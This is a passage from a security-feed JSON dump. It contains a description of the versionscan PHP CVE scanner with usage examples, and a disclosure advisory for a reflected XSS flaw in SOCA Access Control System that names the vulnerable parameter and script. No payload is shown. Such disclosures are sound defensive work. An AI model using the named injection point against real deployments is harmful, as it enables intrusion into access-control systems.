) against your current PHP version, use: \n` bin/versionscan ` \nThe script will check the ` PHP_VERSION ` for the current instance and generate the pass/fail results. The output looks similar to: \n\n \n \n Executing against version: 5.4.24\n +--------+---------------+------+------------------------------------------------------------------------------------------------------+\n | Status | CVE ID | Risk | Summary |\n +--------+---------------+------+------------------------------------------------------------------------------------------------------+\n | FAIL | CVE-2014-3597 | 6.8 | Multiple buffer overflows in the php_parserr function in ext/standard/dns.c in PHP before 5.4.32 ... |\n | FAIL | CVE-2014-3587 | 4.3 | Integer overflow in the cdf_read_property_info function in cdf.c in file through 5.19, as used in... |\n\nResults will be reported back colorized as well to easily show the pass/fail of the check. \n \n** Parameters ** \nThere are several parameters that can be given to the tool to configure its [ scans ](<https://www.kitploit.com/search/label/Scans> \"scans\" ) and results: \n \n** PHP Version ** \nIf you'd like to define a PHP version to check other than the one the script finds itself, you can use the ` php-version ` parameter: \n\n \n \n bin/versionscan scan --php-version=4.3.2\n\n \n** Report Only Failures ** \nYou can also tell the versionscan to only report back the failures and not the passing tests: \n\n \n \n bin/versionscan scan --fail-only\n\n \n** Sorting results ** \nYou can also sort the results either by the CVE ID or by severity (risk rating), with the ` sort ` parameter and either the \"cve\" or \"risk\" value: \n\n \n \n bin/versionscan scan --sort=risk\n\n \n** Output formats ** \nBy default _ versionscan _ will output information directly to the console in a human-readable result. You can also specify other output formats that may be easier to parse programatically (like JSON). Use the ` --format ` option to change the output: \n\n \n \n vendor/bin/versionscan scan --php-version=5.5 --format=json\n\nSupported output formats are ` console ` , ` json ` , ` xml ` and ` html ` . \nThe HTML output format requires an ` --output ` option of the directory to write the file: \n\n \n \n vendor/bin/versionscan scan --php-version=5.5 --format=html --output=/var/www/output\n\nThe result will be written to a file named something like ` versionscan-output-20150808.html ` \n \n \n\n\n** [ Download Versionscan ](<https://github.com/psecio/versionscan> \"Download Versionscan\" ) **\n", "modified": "2019-05-21T21:17:08", "published": "2019-05-21T21:17:08", "id": "KITPLOIT:3928947731225997712", "href": "http://www.kitploit.com/2019/05/versionscan-php-version-scanner-for.html", "title": "Versionscan - A PHP Version Scanner For Reporting Possible Vulnerabilities", "type": "kitploit", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "zeroscience": [{"lastseen": "2019-05-25T17:22:11", "bulletinFamily": "exploit", "description": "Title: SOCA Access Control System 180612 Reflected Cross-Site Scripting \nAdvisory ID: [ZSL-2019-5518](<ZSL-2019-5518.php>) \nType: Local/Remote \nImpact: Cross-Site Scripting \nRisk: (3/5) \nRelease Date: 13.05.2019 \n\n\n##### Summary\n\nThe company's products include proximity and fingerprint access control system, time and attendance, electric locks, card reader and writer, keyless entry system and other 30 specialized products. All products are attractively designed with advanced technology in accordance with users' safety and convenience which also fitted international standard. \n\n##### Description\n\nThe application suffers from a XSS issue due to a failure to properly sanitize user-supplied input to the 'senddata' POST parameter in the 'logged_page.php' script. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user's browser session. \n\n##### Vendor\n\nSOCA Technology Co., Ltd - <http://www.socatech.com>\n\n##### Affected Version\n\n180612 \n170000 \n141007 \n\n##### Tested On\n\nWindows NT 6.1 build 7601 (Windows 7 Service Pack 1) i586 \nWindows NT 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 \nApache/2.2.22 (Win32) \nPHP/5.4.13 \n\n##### Vendor Status\n\nN/A \n\n##### PoC\n\n[soca_xss.txt](<../../codes/soca_xss.txt>)\n\n##### Credits\n\nVulnerability discovered by Gjoko Krstic - <[gjoko@zeroscience.mk](<mailto:gjoko@zeroscience.mk>)>\n\n##### References\n\n[1] <https://packetstormsecurity.com/files/152837> \n[2] <https://cxsecurity.com/issue/WLB-2019050151> \n[3] <https://exchange.xforce.ibmcloud.com/vulnerabilities/160976>\n\n##### Changelog\n\n[13.05.2019] - Initial release \n[15.05.2019] - Added reference [3] \n\n##### Contact\n\nZero Science Lab \n \nWeb: <http://www.zeroscience.mk> \ne-mail: [lab@zeroscience.mk](<mailto:lab@zeroscience.mk>)\n", "modified": "2019-05-13T00:00:00", "published": "2019-05-13T00:00:00", "id": "ZSL-2019-5518", "href": "http://zeroscience.mk/en/vulnerabilities/ZSL-2019-5518.php", "title": "SOCA Access Control System 180612 Reflected Cross-Site Scripting", "type": "zeroscience", "sourceData": "REQUEST LIMIT REACHED", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "http://zeroscience.mk/en/vulnerabilities/../../codes/soca_xss.txt"}]}
